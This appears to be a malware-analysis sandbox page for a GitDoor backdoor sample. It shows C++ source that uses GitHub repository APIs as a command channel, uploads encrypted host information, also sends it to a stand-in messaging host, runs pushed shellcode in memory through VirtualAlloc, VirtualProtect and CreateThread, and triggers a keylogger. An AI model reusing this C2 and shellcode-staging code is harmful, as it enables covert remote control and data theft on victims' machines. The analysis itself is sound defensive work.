Hostile 100% Download

variant-gitdoor-new-repos.cpp

GitDoor task and response protocolGitHub Contents endpoint with executable memory stage
SHA-256ed260419664e8729920e26f5655b4412ef3dea9bcaa030f05d341eeec2ca4667

Evidence

imports <string> lines 1–5
1#include <windows.h>
2#include <string>
3using std::string;
4// External adapters make this an inert source reconstruction, not a working implant.
5extern string http(const char *method, c …
GitHub repository contents API endpoint lines 12–28
12:68… t string &host_id);
13extern void keylogger(const string &command);
14extern void coff_go(const string &bytes, const string &arguments);
15
16void serve() {
17 string host_id = random_id();
18 string taskrepo = "https://api.github.com/repos/ResearchAccount/Queue/contents/";
19 string resultrepo = "https://api.github.com/repos/ResearchAccount/Results/contents/";
20 http("POST", "https://api.github.com/repos/ResearchAccount/Results/issues",
21 "{\"body\":\"code " + host_id + "\",\"title\":\"problem " + random_id() + "\"}");
22 string name = "main." + host_id + ".js.map";
23 string info = encrypt_response(collect_host_info(), name);
24 http("PUT", resultrepo + name, "{\"content\":\"" + info + "\",\"message\":\"commit from CLIENT\"}");
25 http("POST", "https://messaging.example.invalid/messages", info);
26 for (;;) {
27 string filename = enumerate_host_id_command(http("GET", taskrepo, ""), host_id);
28 string command = decrypt_com …
Calls allocation, protection and thread APIs lines 28–45
28:62… + filename, ""), filename);
29 string op = field(command, "command");
30 if (op == "exit") break;
31 if (op == "scload") coff_go(base64_decode(field(command, "data")), field(command, "args"));
32 if (op == "smload") {
33 string payload = base64_decode(field(command, "data"));
34 void *stage = VirtualAlloc(nullptr, payload.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
35 RtlMoveMemory(stage, payload.data(), payload.size());
36 DWORD old;
37 VirtualProtect(stage, payload.size(), PAGE_EXECUTE_READWRITE, &old);
38 CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)stage, nullptr, 0, nullptr);
39 }
40 if (filename.ends_with(".kmap")) keylogger(command);
41 string result = "{\"result_type\":\"keylogger_status\",\"type\":\"serv\"}";
42 http("PUT", resultrepo + filename, encrypt_response(result, filename));
43 Sleep(1000);
44 }
45}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.